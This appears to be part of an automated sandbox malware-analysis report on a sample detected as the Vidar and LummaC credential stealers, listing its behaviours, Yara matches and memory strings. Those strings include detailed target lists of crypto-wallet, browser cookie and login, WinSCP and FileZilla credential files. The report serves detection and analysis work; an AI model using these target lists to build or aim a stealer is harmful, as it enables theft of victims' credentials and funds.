Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe VolumeInformation
Source: C:\ProgramData\BFIIEHJDBK.exe Queries volume information: C:\ProgramData\BFIIEHJDBK.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Queries volume information: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_0041C0B3 lstrcpyA,GetLocalTime,SystemTimeToFileTime, 3_2_0041C0B3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00410C53 GetProcessHeap,HeapAlloc,GetUserNameA, 3_2_00410C53
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_00410D2E GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA, 3_2_00410D2E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
AV process strings found (often used to terminate AV products)
Source: RegAsm.exe, 00000003.00000002.3002340946.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct

Stealing of Sensitive Information
barindex
Yara detected LummaC Stealer
Source: Yara match File source: decrypted.memstr, type: MEMORYSTR
Yara detected Vidar
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Yara detected Vidar stealer
Source: Yara match File source: 3.2.RegAsm.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.file.exe.4295570.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.RegAsm.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.file.exe.4295570.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000000.00000002.2072601373.0000000004295000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: file.exe PID: 6616, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RegAsm.exe PID: 5464, type: MEMORYSTR
Found many strings related to Crypto-Wallets (likely being stolen)
Source: RegAsm.exe, 00000003.00000002.3002340946.0000000001052000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Flash|%DRIVE_REMOVABLE%\|*wallet*.*,*seed*.*,*btc*.*,*key*.*,*2fa*.*,*crypto*.*,*coin*.*,*private*.*,*2fa*.*,*auth*.*,*ledger*.*,*trezor*.*,*pass*.*,*wal*.*,*upbit*.*,*bcex*.*,*bithimb*.*,*hitbtc*.*,*bitflyer*.*,*kucoin*.*,*huobi*.*,*poloniex*.*,*kraken*.*,*okex*.*,*binance*.*,*bitfinex*.*,*gdax*.*,*ethereum*.*,*exodus*.*,*metamask*.*,*myetherwallet*.*,*electrum*.*,*bitcoin*.*,*blockchain*.*,*coinomi*.*,*words*.*,*meta*.*,*mask*.*,*eth*.*,*recovery*.*|150|3|*windows*,*Program Files*,*Program Files (x86)*,*AppData*,*ProgramData*,*.lnk,*.exe,*.scr,*.com,*.pif,*.mp3|DESKTOP|%DESKTOP%\|*wallet*.*,*seed*.*,*btc*.*,*key*.*,*2fa*.*,*crypto*.*,*coin*.*,*private*.*,*2fa*.*,*auth*.*,*ledger*.*,*trezor*.*,*pass*.*,*wal*.*,*upbit*.*,*bcex*.*,*bithimb*.*,*hitbtc*.*,*bitflyer*.*,*kucoin*.*,*huobi*.*,*poloniex*.*,*kraken*.*,*okex*.*,*binance*.*,*bitfinex*.*,*gdax*.*,*ethereum*.*,*exodus*.*,*metamask*.*,*myetherwallet*.*,*electrum*.*,*bitcoin*.*,*blockchain*.*,*coinomi*.*,*words*.*,*meta*.*,*mask*.*,*eth*.*,*recovery*.*|150|2|*Windows*,*Program Files*,*Program Files (x86)*,*AppData*,*ProgramData*,*.lnk,*.exe,*.scr,*.com,*.pif,*.mp3|
Source: RegAsm.exe, 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: \ElectronCash\wallets\
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: um\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: um\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: um\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: RegAsm.exe, 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: \Exodus\exodus.wallet\
Source: RegAsm.exe, 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: info.seco
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: um\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: um\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: \Ethereum\
Source: RegAsm.exe, 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: \Exodus\exodus.wallet\
Source: RegAsm.exe, 00000003.00000002.3002340946.0000000001052000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Flash|%DRIVE_REMOVABLE%\|*wallet*.*,*seed*.*,*btc*.*,*key*.*,*2fa*.*,*crypto*.*,*coin*.*,*private*.*,*2fa*.*,*auth*.*,*ledger*.*,*trezor*.*,*pass*.*,*wal*.*,*upbit*.*,*bcex*.*,*bithimb*.*,*hitbtc*.*,*bitflyer*.*,*kucoin*.*,*huobi*.*,*poloniex*.*,*kraken*.*,*okex*.*,*binance*.*,*bitfinex*.*,*gdax*.*,*ethereum*.*,*exodus*.*,*metamask*.*,*myetherwallet*.*,*electrum*.*,*bitcoin*.*,*blockchain*.*,*coinomi*.*,*words*.*,*meta*.*,*mask*.*,*eth*.*,*recovery*.*|150|3|*windows*,*Program Files*,*Program Files (x86)*,*AppData*,*ProgramData*,*.lnk,*.exe,*.scr,*.com,*.pif,*.mp3|DESKTOP|%DESKTOP%\|*wallet*.*,*seed*.*,*btc*.*,*key*.*,*2fa*.*,*crypto*.*,*coin*.*,*private*.*,*2fa*.*,*auth*.*,*ledger*.*,*trezor*.*,*pass*.*,*wal*.*,*upbit*.*,*bcex*.*,*bithimb*.*,*hitbtc*.*,*bitflyer*.*,*kucoin*.*,*huobi*.*,*poloniex*.*,*kraken*.*,*okex*.*,*binance*.*,*bitfinex*.*,*gdax*.*,*ethereum*.*,*exodus*.*,*metamask*.*,*myetherwallet*.*,*electrum*.*,*bitcoin*.*,*blockchain*.*,*coinomi*.*,*words*.*,*meta*.*,*mask*.*,*eth*.*,*recovery*.*|150|2|*Windows*,*Program Files*,*Program Files (x86)*,*AppData*,*ProgramData*,*.lnk,*.exe,*.scr,*.com,*.pif,*.mp3|
Source: RegAsm.exe, 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: RegAsm.exe, 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: \Exodus\exodus.wallet\
Source: RegAsm.exe, 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: MultiDoge
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: seed.seco
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: um\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: um\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Tries to harvest and steal Bitcoin Wallet information
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core Jump to behavior
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration Jump to behavior
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies Jump to behavior
Tries to harvest and steal ftp login credentials
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml Jump to behavior
Tries to steal Crypto Currency Wallets
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Exodus\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Exodus\backups\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\MultiDoge\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Binance\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\ Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\ Jump to behavior
Shows file infection / information gathering behavior (enumerates multiple directory for files)
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Directory queried: number of queries: 1001
Yara detected Credential Stealer
Source: Yara match File source: 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: RegAsm.exe PID: 5464, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected LummaC Stealer
Source: Yara match File source: decrypted.memstr, type: MEMORYSTR
Yara detected Vidar
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Yara detected Vidar stealer
Source: Yara match File source: 3.2.RegAsm.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.file.exe.4295570.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.RegAsm.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.file.exe.4295570.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000000.00000002.2072601373.0000000004295000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: file.exe PID: 6616, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RegAsm.exe PID: 5464, type: MEMORYSTR
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C280C40 sqlite3_bind_zeroblob, 3_2_6C280C40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C280D60 sqlite3_bind_parameter_name, 3_2_6C280D60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C1A8EA0 sqlite3_clear_bindings, 3_2_6C1A8EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 3_2_6C280B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob, 3_2_6C280B40
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
